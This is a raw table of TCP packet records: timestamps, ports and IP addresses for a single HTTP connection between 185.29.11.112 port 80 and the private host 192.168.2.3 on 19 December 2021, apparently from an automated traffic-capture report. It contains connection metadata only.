Dec 19, 2021 21:13:24.658634901 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.658674955 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.658682108 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.658713102 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.658752918 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.658760071 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.658792019 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.658823013 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.658828974 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.658835888 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.658869028 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.658907890 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.658915997 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.658947945 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.658989906 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.658993959 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.659028053 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659068108 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659074068 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.659087896 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.659106970 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659121037 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.659146070 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659184933 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659188986 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.659224033 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659264088 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659269094 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.659303904 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659342051 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659351110 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.659382105 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659423113 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659431934 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.659461021 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659499884 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659507036 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.659538031 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659576893 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659590960 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.659619093 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659657001 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659663916 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.659698009 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659737110 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659742117 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.659775019 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659812927 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659849882 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.659852982 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659858942 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.659893036 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659898043 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.659933090 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659940958 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.659970999 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.659986973 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660011053 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660016060 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660049915 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660058022 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660088062 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660126925 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660140991 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660156965 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660166025 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660170078 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660206079 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660213947 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660247087 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660284042 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660296917 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660312891 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660322905 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660327911 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660362005 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660367012 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660401106 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660409927 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660442114 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660471916 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660480022 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660505056 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660520077 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660521030 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660562038 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660600901 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660608053 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660629988 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660640001 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660640955 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660680056 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660717010 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660731077 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660757065 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660763025 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660795927 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660834074 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660851002 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660871983 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660896063 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660937071 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.660960913 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.660973072 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661000013 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661012888 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661039114 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661051989 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661078930 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661089897 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661113977 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661128044 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661140919 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661165953 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661173105 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661206007 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661216021 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661247015 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661259890 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661284924 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661300898 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661319971 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661324024 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661364079 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661386013 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661401987 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661412954 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661441088 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661456108 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661479950 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661519051 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661523104 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661535025 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661557913 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661566019 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661595106 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661619902 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661633968 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661653996 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661674023 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661689043 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661714077 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661727905 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661752939 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661761045 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661791086 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661804914 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661830902 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661837101 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661870956 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661906004 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661907911 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661948919 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661956072 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661962986 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.661987066 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.661988020 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662025928 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662045956 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662064075 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662094116 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662132978 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662170887 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662194967 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662206888 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662224054 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662246943 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662261009 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662286043 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662290096 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662326097 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662342072 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662370920 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662379026 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662414074 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662442923 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662451982 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662472010 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662487984 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662491083 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662528992 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662568092 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662580967 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662606001 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662615061 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662659883 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662698984 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662718058 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662735939 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662750006 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662775040 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662784100 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662815094 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662822962 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662853003 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662875891 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662890911 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662893057 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662930965 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.662950993 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.662969112 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.663002014 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.663009882 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.663013935 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.663048983 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.663070917 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.663079023 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.663088083 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.663127899 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.663144112 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.663166046 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.663183928 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.663204908 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.663206100 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.663244009 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.663261890 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.663280964 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.663302898 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.663320065 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.663342953 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.663357973 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.663372040 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.663399935 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.663403988 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.663440943 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.663477898 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.663490057 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.663523912 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.689812899 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.689866066 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.689901114 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.689902067 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.689919949 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.689939022 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.689948082 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.689975977 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.689996958 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690015078 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690018892 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690051079 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690066099 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690088034 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690097094 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690124989 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690140963 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690160036 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690176964 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690198898 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690215111 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690234900 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690257072 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690273046 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690289974 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690313101 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690326929 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690351009 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690357924 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690402985 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690412045 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690443039 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690455914 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690478086 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690502882 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690515041 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690542936 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690551043 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690577030 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690592051 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690603018 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690628052 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690634012 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690661907 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690679073 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690699100 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690715075 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690735102 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690768003 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690783024 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690804005 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690809965 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690840006 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690854073 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690876961 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690891027 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690915108 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690924883 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.690951109 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.690988064 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691001892 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.691025019 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691060066 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691073895 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.691096067 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691131115 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691140890 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.691168070 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691205025 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691217899 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.691240072 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691277027 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691294909 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.691314936 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691349983 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691365004 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.691389084 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691425085 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691435099 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.691462994 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691498995 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691507101 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.691533089 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691569090 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691575050 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.691606045 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691639900 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691652060 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.691675901 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691710949 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691725016 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.691746950 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691782951 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691804886 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.691817999 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.691817999 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691854954 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691890001 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691903114 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.691922903 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691936970 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.691960096 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.691960096 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.691997051 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.692020893 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.692028046 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.692033052 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.692070007 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.692102909 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.692130089 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.692143917 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.692167044 CET	80	49789	185.29.11.112	192.168.2.3
